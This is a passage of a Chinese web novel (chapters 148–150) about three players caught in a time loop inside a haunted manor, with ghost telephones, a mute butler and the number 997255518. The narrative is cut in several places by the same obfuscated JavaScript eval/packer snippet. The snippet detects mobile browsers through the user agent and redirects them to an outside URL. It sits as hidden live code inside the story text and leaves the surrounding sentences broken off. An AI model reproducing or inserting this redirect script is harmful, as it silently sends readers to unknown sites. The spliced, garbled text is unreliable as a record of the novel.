电话那头传来沙沙的电流声,接着是一个阴冷的男声:“你们找到数字了吗……?” 初与序握着话筒的手指微微收紧,语气平静:“什么数字?” “时间……”亡者的声音突然扭曲,像是被什么干扰,“需要完整的数字……” 随后,电话突兀地挂断了。 景明垂翻开之前记录的规则便签纸,在空白处写下: 「6.亡者会主动提及“数字”——可能与“997255518”有关。」 初与序盯着听筒,忽然发现电话机底座上刻着一行小字: 「亡者与生者互不相通。」 如果这句话是真的,则电话无法连接亡者与生者的世界,那么这一天来与他们对话的“亡者”究竟是什么?那些声音,那些若有若无的叹息,那些从肖像画里渗出来的鲜血,如果并非来自另一个世界,又来自何处? 初与序的大脑飞速运转,试图拼凑出一个合理的解释: 也许电话根本不是连接亡者的物品,而是某种记录装置。那些声音,是过去在这座庄园里真实发生过对话的“回声”。维恩霍华德曾试图用电话捕捉时间的痕迹,结果却将无数个时间片段囚禁在了线路之中。 又或者,亡者并非传统意义上的鬼魂,而是被困在时间缝隙中的意识碎片。他们并非死去,只是被卡在了某个无法挣脱的瞬间,那么这样就能用「亡者与生者互不相通」这句话来解释了。 “先下楼。”景明垂轻声道。 她们回到一楼大厅,发现江意已经醒来。他静静地站在落地窗前,逆光的身影显得格外瘦削。初与序走到他身旁,顺着他的目光向外看去。 窗外本该是花园的地方,此刻竟被一堵厚重的砖墙彻底封死。 那些干枯的玫瑰,破败的喷泉,全部都消失了,取而代之的是严丝合缝的红砖,像是已经出现在那里几十年。初与序伸手轻轻触碰冰冷的玻璃,发现砖墙的缝隙里渗出暗红色的液体,在墙壁上留下类似电话线的纹路。 景明垂推开大门,大步走进花园。琴弦直直甩向砖墙,“铮”的一声脆响,足以切断钢铁的利刃却在接触砖块时被弹开,连一道划痕都没留下。 “没用的。”江意淡淡道,“除非通关副本,否则我们永远离不开庄园。” 他抬起右手,掌心贴向虚空,手腕上的机械手环亮起黯淡的红光。在距离墙面几米处的位置,空气突然泛起水波纹般的扭曲,但砖墙依旧纹丝不动,他的重力场没有任何作用。 初与序转过头,却终于发现,那些砖缝里渗出的根本不是液体,而是密密麻麻缠绕在一起的电话线。 “你那边…就是你的世界,也是在第一天出现这堵砖墙的吗?”她看向江意。 江意摇头:“我不知道具体时间,但如果没有砖墙,玩家也不能离开这里。”他顿了顿,还想再说什么,但往后的话又一次被副本系统屏蔽,两人听不见,只好作罢。 晚餐时间到了,老管家如中午时准时出现,将三份一样的餐食放在餐厅,随后转身离开,全程没有说一个字,没有任何多余的动作。 初与序看了看餐盘中的食物,站起身,朝身边两人做了个手势。 她偷偷尾随着老管家进入厨房,老旧的木门在她面前缓缓合拢。透过门缝,她看到老管家像具提线木偶般僵立在灶台前,一动不动。 趁着这个间隙,她飞快拉开身旁的双开门冰箱。 腐烂的味道扑鼻而来,冰箱里竟然堆满发霉的食材,长满绿毛的肉块渗出脓液,蔬菜已经化成黑色粘稠物。 她立刻转头看向灶台,上面的炖锅正咕嘟咕嘟冒着热气,里面的浓汤翻滚着新鲜的胡萝卜和土豆块,像是刚被烹煮过。 初与序重新看向冰箱,注意到冰箱门内侧贴着一张便签,上面的字迹正在以肉眼可见的速度变化: 「不要相信管家」→「不要相信管家」→「不要 相信天数」→ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830303|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「管家不说谎」 但这次,字迹是标准的草书,并不是她自己的。 食物正在腐烂,证明这座庄园的时间确实在流逝。 初与序关上冰箱门,打算离开。而当门扇彻底合拢时,一张青灰色的脸突然地出现在她身侧。 老管家就站在冰箱门后。 他身形枯瘦,深陷的眼窝里嵌着两颗浑浊的眼球。厨房昏黄的灯光从他头顶洒下,将他的面容切割成明暗交错的诡异阴影。 “……” 初与序下意识伸手摸向腰间的冰蓝短刀,但老管家只是微微侧身,让出一条狭窄的通道。 他的脖颈发出“咔咔”声响,慢慢抬起枯枝般的手臂,指向厨房的门,下达了逐客令。 初与序皱了皱眉,没有抽出短刀,退出了厨房。 夜色渐深,庄园被笼罩在一片死寂之中。三人站在楼梯口,江意看了两人一眼,低声道:“希望明天还可以见到你们。” 初与序想起他之前说的话,便问道:“如果我们不睡觉,一直待在一起,还会分开吗?” 江意摇头,嘴角扯出一个笑:“没用的,系统会强制让我们陷入昏睡,而且我们也不可能永远不睡觉。” 景明垂靠在墙边:“那就各自小心。” 初与序上了二楼,推开了一间熟悉的房门,正是白天发现「他们都在看着你」的日历的房间。 房间里很安静,月光透过窗帘的缝隙洒进来。床头柜上的老式电话静静地搁在那里,黑色的机身泛着冷光。 初与序坐在窗边,目光扫过房间的每一个角落。梳妆台的镜面里依旧没有她的身影,而那个日历依然翻在“9972年5月”那一页。 她按下台灯开关,房间顿时陷入黑暗,随后裹紧被子,强迫自己闭上眼睛。 不知过了多久,一阵尖锐的铃声打断了她的睡眠。 “叮铃铃——!” 她被铃声吵醒,在黑暗中睁开眼。凌晨三点四十七,床头柜上的破电话正在疯狂震动着。初与序起床气瞬间冒起,烦躁地抓了抓头发,一把抓起听筒:“干什么?” 电话那头依旧是电流声,接着是一个老迈急促的声音: “听着,时间不是线性的…在这个庄园里,过去、现在和未来就像被猫玩乱的毛线团…你们以为在探索真相,但也许你们自己就是真相的一部分…” 声音低沉下来:“当观察者成为被观察的对象,实验就完成了闭环…维恩博士最后明白了这一点…9972年5月5日5时18分,他对着电话说出了那个数字…” “…时间的相对性证明,当观测者处于封闭系统内,熵减现象会引发局部时空褶皱…” “…所以第五维度的生物看待我们,就像我们看待二维平面…” 初与序:“?” 什么鬼? 一阵杂音后,声音转为学术性的絮叨:“根据量子退相干理论,意识可以影响时间的流动…这就是为什么你们会经历这件事…但记住,死亡是最稳定的观察点…” 初与序强忍着挂断的冲动,睡眼惺忪地听着这些晦涩的理论,试图在此刻想明白它话里的意思。 148.亡铃 亡者继续念叨:“你们以为在破解谜题,但也许你们就是谜题本身…像薛定谔的猫,在打开盒子前,你们既是活着的,又是…” 它絮絮叨叨讲了一小时左右,就在初与序快要听睡着的时候,声音突然转变为阴森的耳语; “你的床下有东西…看看…” 电话咔地挂断,留下困得不成人形的初与序。她无奈打开台灯,翻身下床,跪在冰冷的地板上,一把掀开床单。 一张惨白的人脸正贴在床板下方,黑洞洞的眼睛直勾勾地盯着她,它身下压着一张纸条,上面似乎写着什么字。 初与序眨了眨眼,没有惊讶。她与那只鬼对视了几秒,感到一阵荒谬。 “……看什么看?”她语气平淡地抱怨,“大半夜的,你都不困吗?” 鬼一怔,腐烂的眼皮眨了几下。 初与序叹了口气,伸手在鬼眼前晃了晃:“让让,我要拿东西。” 令人意外的是,鬼竟然真的缓缓后退,最后像一缕烟般消失在床底阴影处。初与序自己都有点惊讶,一是忽然发现鬼能听自己的话,二是没想到这种程度的抱怨就能赶走鬼魂。 她捡起刚刚被鬼压住的皱巴巴的纸条,借着台灯的光看到上面用不熟悉的字迹写着: 「不要相信天数,管家不说谎。」 被这么一折腾,初与序睡意全无。她坐在窗边,手里捏着这张纸条。 但就在这时: 【当观察者成为被观察的一部分,时间的裂缝就会形成闭环。】 沙哑的声音突然从四面八方响起,仿佛有无数人在她耳边低语。初与序猛地站起身,环顾四周,但房间里除了她空无一人。 不安在心头蔓延,初与序干脆抓起外套,决定出去看看。走廊比记忆中更加昏暗,壁灯不知何时已经熄灭。 太安静了,没有虫鸣,没有风声,连自己的脚步声都被厚重的地毯吞噬。 初与序来到隔壁景明垂房间,轻轻推开门,月光从窗帘缝隙漏进来,照亮一尘不染的房间:床铺平整得没有一丝褶皱,梳妆台上连指纹都没有,就像从来没有人住过。 她又推开江意的房门,里面同样空荡。衣柜门大敞着,里面整齐地挂着几件西装,和她昨天刚来副本,推开这间房调查时一模一样。 初与序快步下楼,空旷的大厅里只有她脚步声的回音。大厅里,那台黑色电话泛着幽幽的冷光。 就在这时,她注意到窗外,那堵密不透风的砖墙消失了。月光洒在荒芜的花园里,干枯的玫瑰丛在风中轻轻摇曳。 刺骨的穿堂风突然拂过她的后颈,初与序转过身,发现所有房间的门都无声地敞开。 一觉睡醒整座庄园就剩自己一人了? 一个念头在闪过脑海,初与序立刻来到长桌前,抓起那张记录规则的便签纸。 空白。 原本密密麻麻写满规则的纸张,此刻一片雪白,连一丝墨痕都没留下。 她正要放下纸条时,耳边突然响起细微的“沙沙”声。那声音像是老式收音机的电流杂音,又像是无数指甲在抓挠墙壁,从四面八方包围过来。 昨天江意写下的规则在脑海中浮现:「听到“沙沙”声,随后在接下来的一小时内随即遭遇灵异事件。」 初与序条件反射地拔出短刀,同时大厅的吊灯开始轻微摇晃,投下的影子自动在地板里蠕动。墙上的肖像画里,那些被刮花的面孔正在缓慢地复原。 一滴液体突然滴落在她手背上,抬头望去,天花板上正渗出暗红色的污渍,逐渐形成一只巨大的眼睛形状。 初与序盯着天花板上那只渗血的眼睛,低头看向手中的便签纸。 沙沙声越来越响,她快步走向厨房,推开门。 老管家不在里面,灶台上的炖锅不见了,取而代之的是一台老式录音机,正在自动播放着噪音。她按下停止键,噪音戛然而止。但下一秒,录音机自动倒带,又开始播放出一段陌生的对话: “实验第49次记录,9972年5月5日…”是一个男人的声音,带着疯狂的笑意,“我们成功了!电话真的能连接不同时间点的…” 录音被刺耳的干扰音打断,接着变成了一个女人惊恐的尖叫:“不!那不是时间,那是……” “砰!”一声巨型从二楼传来,打断了录音,初与序离开厨房,看到二楼走廊的灯一盏一盏地熄灭,黑暗如潮水般向她涌来。 与此同时,大厅里的所有电话同时响起。刺耳的铃声在空旷的庄园里回荡,形成了一种诡异的和声。 初与序站在原地,拿出那张从床底找到的纸条: 「不要相信天数,管家不说谎。」 她猛地抬起头看向墙上的挂钟,指针此刻停留在5点18分。 518…… 初与序突然头疼起来,她立刻在脑海中搜寻那个关键的数字,但就像有一块无形的橡皮擦,正在一点点抹去她的记忆。数字的轮廓在意识中逐渐模糊,最后只剩下一个空洞的概念:有一个重要的数字,但她想不起来了。 这个副本竟然会吞噬玩家的记忆力。 她立刻冲向二楼自己房间,试图找到日历。推开门的一瞬间,她心脏咯噔一下。 梳妆台上空空无也,那本永远翻在某一页的日历,消失了。 初与序立刻找遍整个庄园,发现所有与数字有关的痕迹都被抹去:电话机上的拨号盘变成光滑的圆盘,书房里那本《时间的悖论》里所有数字页码都消失。连纸条背面的日期也消失无踪。 “怎么会…”她皱着眉闭上眼睛,在记忆的迷雾中搜寻那一串数字的蛛丝马迹。 9…9…7… 幸运的是,可能是副本记忆清除的时间不长,那一串破碎的数字慢慢浮现。她立刻拿起钢笔,在手心里写下: 「997255518」 可,墨水刚接触到皮肤,自己就开始褪色,不到三秒就消失得无影无踪。 初与序没有犹豫,拿起短刀就在自己手背上刻下这串数字。鲜血涌出,但伤口却以肉眼可见的速度愈合,最终连一丝疤痕都没留下。 果然如此。 她没有继续动作,而是把刀收回鞘中。 窗外,第一缕晨光开始渗透。初与序静下心,用最原始的方法将数字拆解成音节,一遍遍在心中默诵,单凭记忆力暂时记住了这一串数字。 但在这个副本里,单靠自己的记忆并不保险。这个副本会不断侵蚀玩家的认知,清除甚至纂改记忆,必须要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830304|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找办法通关副本。 初与序推开了庄园大门,穿过花园,来到了铁栅栏前,看着外面翻涌的浓雾。她没有犹豫,推开栏杆,踏入浓雾之中。 雾气冰冷,像无数细小的手指抚过她的皮肤,能见度不足一米。 走着走着,前方突然传来鳞片摩擦草叶的声响。初与序定睛一看,一条漆黑的小蛇从雾中游出,竖瞳直直盯着她。 【检测到可交流生物】 【是否使用《蟒蛇旅馆》奖励道具“蟒蛇之契”(可听懂并说出蛇类语言,时效:30分钟)?】 “是。” 接着,像在《蟒蛇旅馆》里那样,蛇的嘶鸣在她耳中化作清晰的语言:“你不该来这里。” 初与序注视着蛇的竖瞳:“你知道这座庄园的秘密,对吗?” “这里的时间是破碎的,所有活物都会被慢慢遗忘,包括我。”蛇的尾巴尖轻轻拍打地面,像是在思考,“有个穿白衣服的男人,他对着电话说了太多不该说的话。” “维恩霍华德?” 蛇突然剧烈扭动了一下:“别在这里提那个名字!”它的声音变得急促,“他以为自己能控制时间,但时间从来不会听任何人的。” 初与序见蛇恐惧,换了个问题:“这座庄园里,有什么东西是不会被遗忘的?” 蛇沉默了几秒,才回答:“只有一样东西……永远不会被抹去。” “是什么?” 蛇的尾巴指向庄园的方向,但还未等它说出答案。下一秒,它的身体突然僵直,随后剧烈地抽搐起来,眼中的光彩迅速褪去。当它再次抬起头,眼神已经变得茫然。 “你是谁?”它警惕地后退,完全忘记了刚才的对话。 初与序知道,副本已经清除了蛇的记忆。她没有回答,站起身,看向浓雾深处的庄园轮廓。 她继续在浓雾中前行,四周的雾气越来越稀薄,直到某一刻—— 铁栅栏突然出现在前方。 初与序停下脚步,发现自己竟又回到了庄园入口。而景明垂和江意就站在门前,衣着整齐,神色如常,身上没有丝毫伤口。 “走了。”江意回头看了她一眼,声音冷静清晰。 初与序皱了皱眉,但没有急着出声,选择跟着两人走入庄园。 面前是一座被灰雾笼罩的欧式庄园,高大的石墙爬满枯藤,花园里的玫瑰早已凋零,只剩下干枯的荆棘缠绕在雕塑与喷泉上。 一位身穿黑色礼服的老管家静立在门内,面容枯槁,眼神空洞。他没有开口,只是微微侧身,伸手做了个“请”的手势。 穿过花园,庄园正门缓缓打开。内部大厅空旷寂静,脚步声在大理石地面上回荡。正对大门处立着一座无脸的人形雕像,它没有五官,却给人一种被凝视的错觉。 就在三人不约而同看向它的时候,雕像的脸似乎微微转动,与他们一一对视。 刹那间,初与序感觉到一股熟悉的眩晕感袭来,像是被某种无形的手轻轻波动了意识。 下一秒,雕像无声无息地原地消失了,仿佛从未存在过。 “…你们看到了吗?”景明垂皱了皱眉。 江意冷淡地扫视四周:“看到了,应该只是出场画面,不必在意。” 149.亡铃 初与序沉默地垂下眼睫,将所有惊疑压入眼底。 眼前的“景明垂”和“江意”太过完美,完美得像一场精心布置的陷阱。或许是鬼魂的伪装,又或许是某种更诡谲的存在,反正不可能是真正的他们。 她跟着两人踏入大厅,但一直无声地走在最后。 大厅挑高极深,天花板上悬挂着一盏巨大的水晶吊灯。墙壁上挂着几幅人物肖像画,画中人的眼睛似乎随着三人的移动而微微转动,但仔细看去,又仿佛只是光影的错觉。 正对大门处是一张厚重的橡木长桌,桌面上积了一层薄灰,却奇怪地留有几道清晰的指痕。桌上摆放着一台老式转盘电话,电话线一直延伸到阴影深处。 大厅左侧是一道盘旋而上的楼梯,右侧是一扇半掩的门,门缝中渗出微弱的烛光,隐约能听到某种像是水滴落下的声音。 刚刚站在门口的管家此刻已经不知道去了哪里,整个庄园里似乎只剩下他们三人。 初与序看着两人的动作:江意像昨天一样走到窗边,景明垂则停在电话旁,两人的动作自然得可怕,仿佛真的只是初次探索庄园的玩家。 如果这两人真的是鬼魂伪装的,那么继续配合他们演戏,只会让自己陷入更深的困境。 下一秒,她的身影忽然模糊,几乎是闪现般出现在江意身后,短刀直直刺向他咽喉。这一击毫无征兆,快得几乎撕裂空气。 江意头也未回,右手的机械手环却突然亮起光芒。 初与序只觉得全身一沉,仿佛有千斤巨石压上脊背,整个人被狠狠掼向地面!但她刀锋一转,借势划出,江意侧身闪避。重力场压制稍松的下一秒,她一个翻滚脱困,刀尖已指向景明垂。 “初与序?”景明垂惊讶,手腕琴弦铮地弹出,缠上初与序手腕,鲜血顿时顺着伤口滑落。 江意的重力场再度笼罩,地板在初与序脚下裂开。她单膝跪地,刀锋插入地面勉强支撑,却见景明垂的琴弦已经缠缚而来。 椅子被拽到她身后,初与序被琴弦死死捆在椅子上,动弹不得。 她喘着气,看着眼前两人惊讶的眼神,突然意识到这两个怪物的战斗方式,微表情,甚至呼吸节奏都模仿的很好,和真正的江意、景明垂一模一样。 “你不是初与序。”江意居高临下地看着,“你是什么东西?” 初与序抬起头,声音里带着一丝荒谬:“这话应该我问你们才对。” “你被附身了?还是看到了幻觉?”景明垂抬了抬手指,捆住初与序的琴弦微微收紧。 “幻觉?”初与序扯了扯嘴角,“那你们解释一下,为什么意哥身上的伤消失了?为什么庄园又回到了第一天的样子?” 江意皱起眉:“什么伤?” “别装了。”初与序挣扎了一下,试图挣脱琴弦,但琴弦勒进皮肉,渗出细小的血珠,“昨天你们……” “叮铃铃——!” 尖锐的电话铃声突然炸响,打断了初与序的话。三人同时看向声源,长桌上那台老式电话正疯狂震动,听筒在桌面上微微跳动。 江意和景明垂对视一眼,前者走上前。在铃声第七次响起时,他抓起听筒。 “……你是谁?”听筒内传来沙哑的嗓音。 江意皱眉,本打算不回答。但又犹豫了几秒,随口道:“江斯。” 电话那头传来模糊的轻笑,接着是“咔嗒”一声挂断音。大厅重新陷入寂静,只有三人轻微的呼吸声,什么都没有发生。 “你编的?”景明垂问。 江意面不改色:“我弟的名字。” 初与序沉默了。 又是江意弟弟的名字,一个他极少提起的人。就连她自己和景明垂,也是在昨天第一天听江意说过。副本怪物不可能知道玩家的信息,更不可能精准复刻他的反应。 最有可能,也是唯一的一种情况:面前两人都是真的。 初与序张了张嘴,终于开口道:“…抱歉,我可能…弄错人了。” “弄错人是什么意思?”景明垂冷冷地问。 初与序试图开口解释:“我们其实已经……” 她的声音戛然而止,确实在说话,但话语却像被某种无形的力量吞噬,连一丝气音都没能传出。景明垂和江意疑惑地对视一眼,显然什么都没听到。 和昨天江意的情况一模一样。 初与序突然明白了,江意当时也被副本强制禁言。此刻的自己和他一样,经历了循环,或者轮回,却无法告知队友。 “…算了。”她叹了口气,“你们马上就知道是怎么回事。” 江意蹲下身,与她平视:“你现在的状态很可疑。” “我知道。”初与序平静道,“但现在,我需要你们记住一个数字——997255518,一定不要忘记。” 景明垂问:“这是什么?” “这座庄园存在的时间,除此之外不知道。”初与序无奈,她试着动了动被捆住的手腕,“现在能放开我了吗?” 江意站起身,摇摇头:“在你证明自己没被附身前,我们不会放开你。” “我知道我们有一本时光之书。”初与序直接说出只有他们队伍五人才知道的事情,“还有阁楼,相机。”她又示意两人看自己脖颈右侧的伤疤,“我的疤一直在加深,骗不了人。” 这些秘密,连系统都不可能窥探到。景明垂和江意对视一眼,景明垂直接抬手,琴弦“铮”地一声松开了。 初与序从椅子上站起身,揉了揉手腕上的勒痕,快速将昨天发现的【电话安全规则】复述了一遍。三人随即分开调查,可现在,除了镜子里依旧没有自己的倒影,一切都和凌晨初与序醒来时一模一样。 她没有继续探寻,独自站在大厅中央思考。 如果这是一个循环,那么起点在哪里?景明垂和江意的记忆始于今天上午八点半,也就是他们刚刚进入副本的时间。而自己凌晨被电话吵醒时,庄园空无一人,直到刚刚才重新见到他们。 时间线似乎吻合,八点半之前,玩家还没来到副本,庄园确实是“空”的。 但矛盾的是,今天的庄园和昨天并不相同。书房的书架整齐完好,书页没有页码,但也没有被撕去扉页的痕迹;日历消失,所有关于“997255518”的数字线索也全部不见;甚至也没有叹息声。 这真的是循环吗?还是说…有什么东西在干扰循环的稳定性?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830305|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她正沉思着,楼梯处突然传来脚步声。 初与序抬头,看到江意从二楼缓步走下,浑身是伤,血迹斑斑。 两人对视一眼,瞬间看出了对方的处境。初与序知道自己又遇到了第四天的江意;江意也看出初与序已经进入了循环。 他扯了扯嘴角:“看来你也开始了。”他靠在楼梯扶手边,血迹顺着他的指尖滴落在地毯上,“你是从什么时候来到第一天的?” “第二天凌晨,被电话吵醒后,发现一切重新开始了。”初与序顿了顿,试探地问,“你记得昨天吗?” 江意摇头,微微皱眉:“你重复了第一天,你们今天和你的‘昨天’一样,我的记忆也只停留在我的‘昨天’,而不是你的。我们就像被分割在不同时间线上。” “那你记得自己是第几次循环了吗?”初与序又问。 江意沉默着,似乎是在思考。最终他又摇摇头:“记不清了,但最少十次。” 这个认知让初与序心头一沉——除非能同时遇见刚刚进入副本的两人,否则三个人的记忆永远无法同步。更糟的是,每一次循环都可能改变庄园的线索布局,就像今天消失的数字和日历。 越到后期,记忆越混乱,他们就越无法确认是第几次循环,副本进度在哪里。连最基本的合作都成了奢望,每个人都是独自在解一个永远在变化的谜题。 景明垂从楼梯上走下来,一眼就看到了浑身是血的江意,随即目光又转向初与序。 她立刻明白了什么,目光在两人之间游走:“你们是不是遇到了同样的事?” 初与序和江意对视一眼,点了点头,却无法回答真相。规则的限制依然存在,他们无法向“第一天的景明垂”解释循环的事故。 就在这时,老管家再次如昨天一样出现,手指指向餐厅,示意他们午饭时间到了。 三人沉默地走向餐厅,桌上的食物和昨天的一模一样。初与序盯着自己面前的餐盘,忽然想起冰箱里腐烂的食物和灶台上冒着热气的炖锅。 “我昨天去过厨房。”初与序没动,“冰箱里全是腐烂发霉的食物,但灶台上的炖锅却在煮着新鲜的汤。” “你们觉得这些食物,到底是新鲜的,还是腐烂的?” 景明垂皱眉,抬眼看向初与序。 初与序将昨天发现的关于维恩霍华德的信息告诉了她:痴迷时间实验的科学家、9972年5月5日的实验事故,以及庄园里遍布的电话网络。 “所以你认为,这些食物可能像电话里的亡者一样,是某种时间错乱的产物?”景明垂若有所思地看着餐盘。 “或者是维恩实验的副作用。”江意接话,“他可能扭曲了庄园内的时间流速,导致某些区域时间流逝异常。” 初与序点头:“就像冰箱里的食物加速腐烂,而灶台上的却保持新鲜,也许我们看到的‘新鲜’只是时间被扭曲后的假象。” 景明垂突然问:“那为什么管家能正常准备三餐?” “可能他掌握了控制局部时间的方法?”初与序顺着这个思路说,“毕竟他是唯一不受电话规则限制的存在。” 三人陷入沉思,这个解释暂时合理,却又充满漏洞。 150.亡铃 午饭过后,大厅内的座钟指针刚刚划过两点。 “叮铃铃——!” 刺耳的电话铃声像昨天一样准时响起,三人交换了一个眼神,立刻明白了对方的意思。初与序轻轻按住听筒,用口型说:“我来。” 江意和景明垂点头,各自退后一步,摆出戒备姿态。 初与序深吸一口气,接起电话, “走廊尽头的画…帮我看看…”亡者的声音沙哑地重复着同样的台词。 但这一次,初与序没有回答,而是直接主动挂断了电话。 一瞬间,听筒的缝隙中突然渗出暗红色的血液,液体顺着电话线滴落,在地板上汇聚成一小滩。接着,一只苍白的手从听筒中缓缓伸出,青灰色的手指扭曲着抓住电话底座,像是要借力爬出来。 “叮铃铃——!” “叮铃铃——!” “叮铃铃——!” 就在这时,大厅、二楼走廊、餐厅、书房……整个庄园的电话在同一时间疯狂响起! 初与序后退几步,拔出短刀横在面前,看着十几台电话的听筒同时渗出鲜血,一只又一只鬼手从里面探出,有的苍白浮肿,有的干枯如骨,但全都朝着他们的方向抓来。 三人立刻分散开来,第一个亡者已经从电话里爬出了半个身子,湿漉漉的黑发黏在脸上,空洞的眼窝直勾勾地盯着他们,嘴角扯住夸张的笑容。 “分开走!”江意低声提醒,三人立刻朝不同方向冲去。 初与序在转身前,语速飞快地喊道:“一定要记住我之前和你们说的数字!” 景明垂迟疑了不到一秒,很快回忆起来,点了点头。但江意却皱眉:“什么数字?” “……”初与序一愣,突然发现自己也记不清了,“997什么的,我忘了。” 亡者已经逼近,没时间多想。她推开侧门,冲进了庄园西侧的温室花园。 玻璃穹顶下,藤蔓缠绕着锈蚀的铁架,巨大的芭蕉叶垂落,形成天然的屏障。初与序闪身躲在一株茂密的龟背竹后面,屏住呼吸。 不远处,一个浑身湿透的亡者正缓慢爬行,它的四肢扭曲,脖子180度旋转,扫视着温室。初与序握紧短刀,上面的勿忘我花纹泛着蓝光。 突然,亡者的头猛地转向她所在的方向! “找到…你了…” 它咧嘴一笑,露出森白的牙齿。下一秒,它以惊人的速度扑来! 初与序侧身翻滚,短刀重重划过亡者的手臂,黑血喷溅在一旁不知名植物上。随后,她一脚踹翻铁架,沉重的花盆砸在亡者身上,暂时阻挡了它的追击。 她在茂密的热带植物间快速穿行,亡者扭曲的肢体在植物间发出摩擦声,越来越近。 初与序突然拐向一丛蕨类植物,故意踩断几根枯枝制造声响,自己则屏息绕道一尊石雕喷泉后方。亡者果然被误导,朝着反方向爬去。 抓住这个机会,初与序轻巧地翻过一排花架,来到温室最西侧。这里有一扇几乎被藤蔓完全覆盖的小门,门把手上锈迹斑斑。 她用短刀撬开门锁,木门打开,里面是一间酒窖。 初与序反手将门锁死,酒窖里漆黑一片,只有几缕微弱的光线从窗户缝隙渗入,照亮漂浮的尘埃。 【当观察者成为被观察的一部分,时间的裂缝就会形成闭环。】 沙哑的声音突然从四面八方响起,仿佛有无数人在她耳边低语。初与序浑身一僵,这句话她凌晨醒来时也听过,在意识朦胧之际,像一句梦魇的呓语。 她向下看去,面前是一条螺旋向下的石阶,空气中混合着霉味和淡淡的酒香。 初与序靠在冰冷的石墙上,终于能短暂喘息。耳边只剩下自己剧烈的心跳声,和远处亡者的脚步声。 “咔嗒。” 石阶下方的黑暗中,突然传来清晰的挂电话声。 初与序放轻呼吸,小心翼翼地走下石阶。阴冷的地下空间里,光线昏暗,对她的眼睛很不友好。她停下脚步,往角落看去。 景明垂躺在地上,眼睛闭着,喉咙处有一个狰狞的裂口,暗红的血迹已经干涸,在她苍白的皮肤上显得格外刺目。 而江意跪在她身边,左手搭在她手腕脉搏上,似乎在确认什么。右手握着一台老式电话的话筒。听到脚步声,他猛地抬头,眼神锐利。 在看到是初与序时,他愣了一下,嘴角扯出一个勉强的笑:“…来了?” 初与序的目光落在景明垂身上,她缓步走近,声音很轻:“她…受伤了?” 江意沉默了很久,久到初与序以为他不会回答。 “死了。”他最终说道,声音沙哑。 初与序的心跳仿佛停住,她踉跄着上前,跪在景明垂另一侧,手指颤抖地触碰好友的手背。冰冷、僵硬,像一块没有生命的石头。 “我不知道她是从哪一天来的。电话鬼割开了她的喉咙,我来的时候,已经…”江意声音疲惫,轻声安慰道,“但在这个副本,死亡只是暂时的,其他时间的景明垂不会死。” 初与序握着景明垂的手,不敢用力,另一只手的指甲深深掐进掌心。两人沉默地守着景明垂的遗体,直到地下室的寒意浸透骨髓。 “现在…是第几天?”她终于开口。 江意垂眼看着电话听筒:“我是从第30天来的,这里是第51天。” 五十一天。 快两个月了,他们都没有找到离开副本的办法吗? “你呢?”江意问,“从什么时候来的?” “第一天。”初与序回答,“准确来说是从第二天回到了第一天,再从第一天跳到了这里。” 江意苦笑一声:“看来你第二次穿越时,没在第一天待多久。” 忽然,景明垂的遗体开始变得透明,如同被风吹散的薄雾,一点点化作细碎的光点。江意静静地注视着这一幕,低声道:“在这个副本里,除非同一时间的我们三人全部死亡,否则我们都会在某个循环里‘复活’。” 但如果他们在同一时间死亡,那就再也没有机会睁开眼睛。 初与序明白这一点,她想都不敢想。 她看着最后一点光粒消失在空气中,缓缓站起身来:“回去吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830306|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 两人沉默地离开酒窖,重新回到温室。 眼前的景象与第一天的截然不同,原本茂密的植物几乎全部枯萎,巨大的芭蕉叶焦黄卷曲,藤蔓干枯,仿佛这里已经荒废了数十年。 “时间在这里流逝的速度不一样。”江意踩过一丛枯死的蕨类,“有时候庄园会发生变化,我上上次跳到了第28天,整座庄园都不见了,只有一片花丛。我在那一天呆了一周。” 初与序转头看他:“当时你睡哪里?” 江意抿着唇,淡淡道:“不重要。” 初与序抬头看向温室外的天空,那里没有太阳,只有一片混沌的灰雾。 “不能走正门。”江意拦住准备往花园走的初与序,“庄园外围的砖墙已经出现了,从外面进不去。” 他带着初与序绕到庄园后方,穿过一条隐蔽的通道。狭窄的走廊墙壁上爬满霉斑,天花板上有蛛网,尽头的门推开,映入眼帘的是熟悉的厨房,灶台上依然炖着那锅“新鲜”的浓汤。 